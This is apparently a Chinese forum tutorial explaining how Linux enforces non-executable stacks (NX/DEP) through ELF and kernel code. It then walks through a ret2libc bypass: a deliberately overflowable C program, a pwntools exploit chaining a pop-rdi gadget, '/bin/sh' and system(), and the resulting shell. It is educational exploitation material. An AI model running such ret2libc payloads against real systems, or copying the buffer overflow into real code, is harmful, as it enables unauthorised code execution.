NX: No-Execute
,Windows:DEP: Data Execution Prevention
】,该机制开启后,数据所在的内存页就会被标识为不可执行的状态。-z execstack
和-z noexecstack
可以打开或关闭数据执行保护机制。maps
虚文件查看内存布局,下面列出了当该机制打开和关闭时,栈所在内存页的状态。r: 可读, w: 可写, x: 可执行, p: 私有段, s: 共享段 开启数据执行保护机制:
7ffeffee2000-7ffefff03000 rwxp 00000000 00:00 0 [stack]关闭数据执行保护机制:
7fff4d273000-7fff4d294000 rw-p 00000000 00:00 0 [stack]
一
数据执行保护机制的实现
MMU: Memory Manage Unit
可以控制页中数据是否可以执行。x000
作为结尾,这是因为Linux中默认分配的页大小为4KB(0x1000),所以使用页表机制分配的地址都会以页作为基础单位,因此内存页的起始和结束地址都以x000
结尾也就不奇怪了。-z execstack
和-z noexecstack
会标识ELF是否开启数据执行保护机制。readelf
工具-l
参数查看ELF文件的段头表信息,在列出的段中可以看到GNU_STACK
段的存在,当数据执行保护机制打开时其段属性会被设置成不可执行状态,反之则会设置成可执行状态。readelf -l xxxx R: 可写, W: 可读, E: 可执行
开启数据执行保护机制:
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10关闭数据执行保护机制:
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
execve
函数启动程序,execve
函数会发送系统调用给内核。SYSCALL_DEFINE3(execve,
const char __user *, filename,
const char __user *const __user *, argv,
const char __user *const __user *, envp)
{
return do_execve(getname(filename), argv, envp);
}
load_binary
接口加载ELF文件并执行。static int search_binary_handler(struct linux_binprm *bprm)
{
......
retval = fmt->load_binary(bprm);
......
}
static struct linux_binfmt elf_format = {
.module = THIS_MODULE,
.load_binary = load_elf_binary,
.load_shlib = load_elf_library,
#ifdef CONFIG_COREDUMP
.core_dump = elf_core_dump,
.min_coredump = ELF_EXEC_PAGESIZE,
#endif
};
int
,那么此时只需要将初始化函数绑定到对应的结构体并注册到链表中,在初始化驱动时只需要遍历链表,再调用统一的成员名就可以,而不需要思考其他的细节。内核:我要加载驱动!!!
内核:怎么有这么多驱动啊,函数名还不一样,我要怎么样才能挨个调用!!!
内核:不如设置一种统一的接口,所有驱动都要按照接口的格式设置初始化函数,然后注册,然后我遍历链表,挨个调用就可以
内核:具体你驱动内部怎么搞,我才不管呢!
按照统一格式设置初始化函数:
static int __init xxxx(void) { ...... }static void __init do_pre_smp_initcalls(void)
{
initcall_entry_t *fn;trace_initcall_level("early");
for (fn = __initcall_start; fn < __initcall0_start; fn++) {
do_one_initcall(initcall_from_entry(fn));
}
}fn对应驱动初始化函数地址:
int __init_or_module do_one_initcall(initcall_t fn)
{
......
do_trace_initcall_start(fn);
ret = fn();
do_trace_initcall_finish(fn, ret);
......
}
load_binary
接口,通过load_elf_binary
函数会检查段的类型及属性,其中就包含GNU_STACK
段,然后根据GNU_STACK
段的可执行属性设置vm_flags
标志位,虚拟地址空间会根据该标志位设置页属性。static int load_elf_binary(struct linux_binprm *bprm)
{
......
for (i = 0; i < elf_ex->e_phnum; i++, elf_ppnt++)
switch (elf_ppnt->p_type) {
case PT_GNU_STACK:
if (elf_ppnt->p_flags & PF_X)
executable_stack = EXSTACK_ENABLE_X;
else
executable_stack = EXSTACK_DISABLE_X;
break;case PT_LOPROC ... PT_HIPROC:
retval = arch_elf_pt_proc(elf_ex, elf_ppnt,
bprm->file, false,
&arch_state);
if (retval)
goto out_free_dentry;
break;
}
......
}int setup_arg_pages(struct linux_binprm *bprm,
unsigned long stack_top,
int executable_stack)
{
......
if (unlikely(executable_stack == EXSTACK_ENABLE_X))
vm_flags |= VM_EXEC;
else if (executable_stack == EXSTACK_DISABLE_X)
vm_flags &= ~VM_EXEC;
......
}
二
绕过思路-Libc取物
ldd ./example
linux-vdso.so.1 (0x00007ffdb1ebb000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f8b16ed7000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f8b170ec000)
INTERP
段指定了/lib64/ld-linux-x86-64.so.2
,并且发现它的格式还是动态链接库。INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]file /lib64/ld-linux-x86-64.so.2
/lib64/ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=c560bca2bb17f5f25c6dafd8fc19cf1883f88558, stripped
main
函数且main
函数直接返回,这是因为main
函数其实不是程序的起点,真正起点会依赖其他东西。main
函数进行编译时,会发现存在未定义的数据导致无法成功链接。在GCC编译器的眼中,main
函数需要由_start
函数调用,它是ELF文件真正的入口。/usr/bin/ld: /usr/lib/gcc/x86_64-pc-linux-gnu/14.1.1/../../../../lib/Scrt1.o: in function `_start':
(.text+0x1b): undefined reference to `main'
collect2: error: ld returned 1 exit status
main
函数前运行的情况进行调试。set backtrace past-entry
set backtrace past-main(gdb) bt
#0 main () at main.c:14
#1 0x00007ffff7dd8c88 in __libc_start_call_main (main=main@entry=0x55555555516a <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffdf68)
at ../sysdeps/nptl/libc_start_call_main.h:58
#2 0x00007ffff7dd8d4c in __libc_start_main_impl (main=0x55555555516a <main>, argc=1, argv=0x7fffffffdf68, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffdf58) at ../csu/libc-start.c:360
#3 0x0000555555555075 in _start ()
_start
函数是与程序静态链接在一起的,不管是通过反汇编还是调试器进行观察,会发现_start
函数会使用LibC中的__libc_start_main
函数,这就使得程序必须与LibC建立动态链接的关系,__libc_start_main
函数会对main
函数的建立与退出进行处理。_start
函数设置断点时,会发现有2个断点被设置下来,首先命中的是动态链接程序(也是ELF文件)的_start
函数,其次才是主程序的_start
函数。第一个_start
函数来自动态链接库/lib64/ld-linux-x86-64.so.2
,与前面INTERP
段指定的动态链接库相同。info b
Num Type Disp Enb Address What
1 breakpoint keep y <MULTIPLE>
breakpoint already hit 2 times
1.1 y 0x0000555555555050 <_start>
1.2 y 0x00007ffff7fe5740 <_start>Breakpoint 1.2, 0x00007ffff7fe5740 in _start () from /lib64/ld-linux-x86-64.so.2
(gdb) c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Breakpoint 1.1, 0x0000555555555050 in _start ()
ld-linux-x86-64.so.2
,LD会在主程序开始运行前进行预处理,其中有2个很重要的函数dl_main
和_dl_start_user
,dl_main
函数负责解释ld.so
参数并加载二进制文件和库,_dl_start_user
函数负责跳转到主程序的入口点,然后把控制权交给主程序。int 0x80
的方式发起系统调用,缺点是软中断的调用耗时较长,尽管后续指令集中添加了系统调用指令(32位:sysenter sysexit,64位:syscall sysret
),但是不同位下的系统调用的指令并不相同,这对于程序而言是困难的,因为它需要思考自己如何处理多系统调用指令带来的复杂度。vsyscall Dynamic Shared Object)
机制。在Linux内核中为了支持不同处理器的系统调用指令,Linux内核会针对不同的处理器生成相应的动态链接库,直到Linux启动时,选择与处理器对应的动态链接库进行加载。当程序运行时,Linux会将vDSO分享给程序,程序可以借助vDSO发起系统调用,而无需考虑处理器不同带来的兼容性问题。_start
函数命中时,可以发现它之前的2号栈帧的的函数地址位于vsyscall
的范围内。#0 0x00007ffff7fe5740 in _start () from /lib64/ld-linux-x86-64.so.2
#1 0x0000000000000001 in ?? ()
#2 0x00007fffffffe27c in ?? ()
#3 0x0000000000000000 in ?? ()7ffff7fc9000-7ffff7fca000 r--p 00000000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
7ffff7fca000-7ffff7ff1000 r-xp 00001000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
7ffff7ff1000-7ffff7ffb000 r--p 00028000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2
7ffff7ffb000-7ffff7fff000 rw-p 00032000 08:01 7351295 /usr/lib/ld-linux-x86-64.so.2ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
readelf
分析二进制文件,还是通过GDB在运行期查看函数,都可以很好的观察到当前LibC中函数实现。readelf工具观察:
readelf -s /usr/lib/libc.so.6 | grep execve
1593: 00000000000e0fb0 37 FUNC WEAK DEFAULT 15 execve@@GLIBC_2.2.5
2922: 00000000000e1550 102 FUNC GLOBAL DEFAULT 15 fexecve@@GLIBC_2.2.5
3065: 00000000000e0fe0 50 FUNC GLOBAL DEFAULT 15 execveat@@GLIBC_2.34GDB调试器观察:
(gdb) info functions
All defined functions:File main.c:
13: int main(int, char **);
5: static void simple_overflow(char *);Non-debugging symbols:
0x0000555555555000 _init
0x0000555555555030 strcpy@plt
0x0000555555555040 puts@plt
--Type <RET> for more, q to quit, c to continue without paging--
0x0000555555555050 __stack_chk_fail@plt
0x0000555555555060 printf@plt
0x0000555555555070 getchar@plt
0x0000555555555080 _start
0x000055555555523c _fini
0x00007ffff7fca1f0 _dl_signal_exception
0x00007ffff7fca250 _dl_signal_error
0x00007ffff7fca480 _dl_catch_exception
0x00007ffff7fcb670 _dl_debug_state
0x00007ffff7fcc990 _dl_exception_create
--Type <RET> for more, q to quit, c to continue without paging--
0x00007ffff7fcca60 _dl_exception_create_format
0x00007ffff7fccf00 _dl_exception_free
0x00007ffff7fcd0a0 __nptl_change_stack_perm
0x00007ffff7fd26b0 _dl_rtld_di_serinfo
0x00007ffff7fd53c0 _dl_find_dso_for_object
0x00007ffff7fd6e70 _dl_fatal_printf
0x00007ffff7fdb100 _dl_get_tls_static_info
0x00007ffff7fdb1f0 _dl_allocate_tls_init
0x00007ffff7fdb480 _dl_allocate_tls
0x00007ffff7fdb4c0 _dl_deallocate_tls
--Type <RET> for more, q to quit, c to continue without paging--
0x00007ffff7fdc430 __tunable_is_initialized
0x00007ffff7fdc760 __tunable_get_val
0x00007ffff7fde4a0 __tls_get_addr
0x00007ffff7fe11e0 _dl_x86_get_cpu_features
0x00007ffff7fe14e0 _dl_audit_preinit
0x00007ffff7fe1570 _dl_audit_symbind_alt
0x00007ffff7fe4080 _dl_mcount
0x00007ffff7ff0f50 __rtld_version_placeholder
0x00007ffff7fc77b0 __vdso_gettimeofday
0x00007ffff7fc77b0 gettimeofday
--Type <RET> for more, q to quit, c to continue without paging--
0x00007ffff7fc7a30 __vdso_time
0x00007ffff7fc7a30 time
0x00007ffff7fc7a60 __vdso_clock_gettime
0x00007ffff7fc7a60 clock_gettime
0x00007ffff7fc7da0 __vdso_clock_getres
0x00007ffff7fc7da0 clock_getres
0x00007ffff7fc7e10 __vdso_getcpu
0x00007ffff7fc7e10 getcpu
system
或execve
,其中system
函数只需要1个参数并通过shell
运行,而execve
函数需要需要3个参数并会独立运行程序。system
函数无疑是最方便的。三
示例讲解
buf
。#include <stdio.h>
#include <unistd.h>
#include <string.h>#define MAX_READ_LEN 4096
static void simple_overflow(void) {
char buf[12];read(STDIN_FILENO, buf, MAX_READ_LEN);
}int main(void) {
simple_overflow();printf("has return\n");
return 0;
}
system
函数的所在位置,就需要确认Libc的起始地址和system
函数在Libc中编译。readelf
查看段头信息可以知道,LibC中共有4个可加载load
段,其中1个load
段是可执行的,想必system
等其他函数也在其中。ELF文件的结果:
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000738 0x0000000000000738 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x0000000000000249 0x0000000000000249 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x000000000000010c 0x000000000000010c R 0x1000
LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000268 0x0000000000000270 RW 0x1000
DYNAMIC 0x0000000000002de0 0x0000000000003de0 0x0000000000003de0
0x00000000000001e0 0x00000000000001e0 RW 0x8
NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000040 0x0000000000000040 R 0x8
NOTE 0x0000000000000378 0x0000000000000378 0x0000000000000378
0x0000000000000044 0x0000000000000044 R 0x4
GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000040 0x0000000000000040 R 0x8
GNU_EH_FRAME 0x0000000000002040 0x0000000000002040 0x0000000000002040
0x000000000000002c 0x000000000000002c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
GNU_RELRO 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000230 0x0000000000000230 R 0x1
maps
文件中的内存布局情况可以知道,LibC的起始地址为0x7ffff7db3000
。maps文件结果:
7ffff7db3000-7ffff7dd7000 r--p 00000000 08:01 7351308 /usr/lib/libc.so.6
7ffff7dd7000-7ffff7f43000 r-xp 00024000 08:01 7351308 /usr/lib/libc.so.6
7ffff7f43000-7ffff7f91000 r--p 00190000 08:01 7351308 /usr/lib/libc.so.6
7ffff7f91000-7ffff7f95000 r--p 001dd000 08:01 7351308 /usr/lib/libc.so.6
7ffff7f95000-7ffff7f97000 rw-p 001e1000 08:01 7351308 /usr/lib/libc.so.6
system
函数在ELF文件中的偏移,通过强大的readelf
工具可以非常方便的获取它。readelf工具解析:
readelf -s /usr/lib/libc.so.6 | grep system
1050: 0000000000050f10 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
/usr/include/elf.h
头文件及https://refspecs.linuxfoundation.org/
官方文档。00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
7f: 特定标识
45 4c 46 = E L F
02:64位程序
01:小端字节序
01:默认版本
00:内核ABI版本-System V
00:ABI版本0
其余为保留字节
0000010 03 00 3e 00 01 00 00 00 60 5e 02 00 00 00 00 00
03:动态链接库文件
3e:机器类型X86-64
01:版本
25e60:入口地址
0000020 40 00 00 00 00 00 00 00 78 4d 1e 00 00 00 00 00
40:段头表起始位置
1e4d78:节头表起始位置
0000030 00 00 00 00 40 00 38 00 0e 00 40 00 3f 00 3e 00
00:无特定处理器信息
40:ELF头大小
38:段头表中单个表项的大小
0e:段头表表项数量
40:节头表中单个表项的大小
3f:节头表表项数量
3e:字符串表索引值
00000e8 01 00 00 00 05 00 00 00 00 40 02 00 00 00 00 00
01:LOAD
05:4-可读+1-可执行
24000:文件内的位置
00000f8 00 40 02 00 00 00 00 00 00 40 02 00 00 00 00 00
24000:虚拟地址
24000:物理地址
0000108 b9 b0 16 00 00 00 00 00 b9 b0 16 00 00 00 00 00
16b0b9:段大小
16b0b9:占用内存大小
0000118 00 10 00 00 00 00 00 00
1000:对齐值可以发现上述解析是与readelf的结果是一致的
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000024000 0x0000000000024000 0x0000000000024000
0x000000000016b0b9 0x000000000016b0b9 R E 0x1000
system
函数所处的部分。但链接期一定会对符号(其中当然包含函数名)进行解析,所以可以通过分析节信息获取system
函数在文件内的偏移值。.dynsym
节中,而非.symtab
节,在.dynsym
节中表项占用0x18字节,表项中具有唯一性的标识符就是st_name,由于st_name
只是索引值,所以需要先到.dynstr
节中确认system
名相对于.dynstr
节的偏移值,然后根据偏移值查找st_name
。typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
.dynstr
节的起始位置是0x17c68,从该位置开始索引,可以确认system
字符串所在的位置是0x1aa18,相对于0x17c68偏移了0x2d80。hexdump -C /usr/lib/libc.so.6 -s 0x17c68 | grep system
0001aa18 73 79 73 74 65 6d 00 67 65 74 64 69 72 65 6e 74 |system.getdirent|
.dynsym
节的起始位置是0x54b8,偏移后的位置就是0xb728,通过分析该区域的字节,可以确认是system
函数所在表项,且结果可以与readelf
工具读取的内容对应。0000b728 b0 2d 00 00 22 00 0f 00 10 0f 05 00 00 00 00 00
2db0:st_name - system
22:st_info - STT_FUNC & STB_WEAK
00:st_other - STV_DEFAULT
0f:st_shndx
50f10:st_value
0000b738 2d 00 00 00 00 00 00 00
2d:st_size - 45readelf工具读取结果
Num: Value Size Type Bind Vis Ndx Name
1050: 0000000000050f10 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
system
函数的字节数据与system
函数反汇编指令的16进制结果,可以确认system
函数已经被正确的找到了。ELF文件数据:
00050f10 f3 0f 1e fa 48 85 ff 74 07 e9 72 fb ff ff 66 90
00050f20 48 83 ec 08 48 8d 3d 05 9f 15 00 e8 60 fb ff ffGDB查看system函数反汇编结果的16进制格式:
<system>: 0xfa1e0ff3 0x74ff8548 0xfb72e907 0x9066ffff
<system+16>: 0x08ec8348 0x053d8d48 0xe800159f 0xfffffb60
system
函数地址的确认,之所以手工进行解析是非为了了解一些ELF文件的组成。system
函数需要接收1个字符串作为参数,这里选择/bin/sh
作为参数,让其打开shell。通过strings
工具可以快速进行解析,其中-a
参数指搜索范围是整个文件,-t
和x
按照16进制格式打印字符串的位置。strings -a -t x /usr/lib/libc.so.6 | grep "/bin/sh"
1aae28 /bin/sh
/bin/sh
对应2f 62 69 6e 2f 73 68 00
,也可以在直接通过它对二进制文件进行检索。hexdump -C /usr/lib/libc.so.6 | grep "2f 62 69 6e 2f 73 68"
001aae20 63 00 2d 63 00 2d 2d 00 2f 62 69 6e 2f 73 68 00 |c.-c.--./bin/sh.|
system
函数是需要1个参数的,基于当前调用协议(rdi rsi rdx rcx r8 r9
),需要先将参数放入rdi
寄存器中。rdi
寄存器,而存放的数值需要溢出到栈上,此时就需要借助pop
指令从栈上取出输入放入rdi
内,pop
指令会从栈上取出最后1个数据,然后缩减栈顶。system
函数,该函数的地址也是放到栈上的,那么这个时候就需要ret
指令,ret
指令的作用相当于pop rip
。ROPgadget
工具进行搜索,除此之外也可以借助指令对应的字节码进行检索。ROPgadget工具检索结果:
ROPgadget --binary /usr/lib/libc.so.6 | grep "pop rdi ; ret"
0x00000000000fd8c4 : pop rdi ; ret
system
函数。import os
import pwnpwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux', log_level = 'debug',
)libc_base = 0x7ffff7db3000
system_offset = 0x50f10
sh_str_offset = 0x1aae28
ret_offset = 0xfd8c5
pop_rdi_ret_offset = 0xfd8c4
exit_offset = 0x3f050payload = b'A' * (0xc + 0x8)
payload += pwn.p64(libc_base + pop_rdi_ret_offset)
payload += pwn.p64(libc_base + sh_str_offset)
payload += pwn.p64(libc_base + system_offset)conn = pwn.process("./ret2libc_example")
conn.send(payload)
conn.interactive()
exploit
后,会发现并没有弹出Shell,将GDB挂到程序上,会发现程序出现了段错误,段错误一般都是访问内存错误。Program received signal SIGSEGV, Segmentation fault. (gdb) x /i $rip
=> 0x7ffff7e03bf4: movaps %xmm0,0x50(%rsp)
(gdb) p $rsp
$1 = (void *) 0x7fffffffdb08
(gdb) p $rsp+0x50
$2 = (void *) 0x7fffffffdb58
0x50(%rsp)
,通过查阅资料了解到movaps
中a
代表目标地址需要和16字节对齐,而此时的0x50(%rsp)
是不能被16整除的,所以导致段错误。rsp
地址的指令为pop
和ret
,它们都让rsp
的地址不断递增,因此这里可以考虑再次利用它们让rsp
的地址加8。system
函数,对于这种需求显然ret
指令是最合适的。exploit
后(system
函数地址前添加),重新执行利用脚本,会发现已经成功获得Shell。$ whoami
test
$ exit
[*] Got EOF while reading in interactive
$ w
[*] Process './example' stopped with exit code -11 (SIGSEGV) (pid 3021)
[*] Got EOF while sending in interactive
ret
指令,但是exploit
中system
函数地址后并没有设置,因此ret
会从栈上取出错误的地址并返回,如果在exploit
内将LibC中exit
函数的地址放到system
函数地址后,使得system
函数返回时可以从栈上取出exit
函数,然后退出。1.https://www.gnu.org/software/hurd/glibc/startup.html
2.https://taggartinstitute.org/courses/enrolled/1840120
3.https://book.hacktricks.xyz/
4.https://exploit-notes.hdks.org/exploit/binary-exploitation/method/binary-exploitation-with-ret2libc/#4.-find-the-location-of-%2Fbin%2Fsh
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
# 往期推荐
2、恶意木马历险记
点击阅读原文查看更多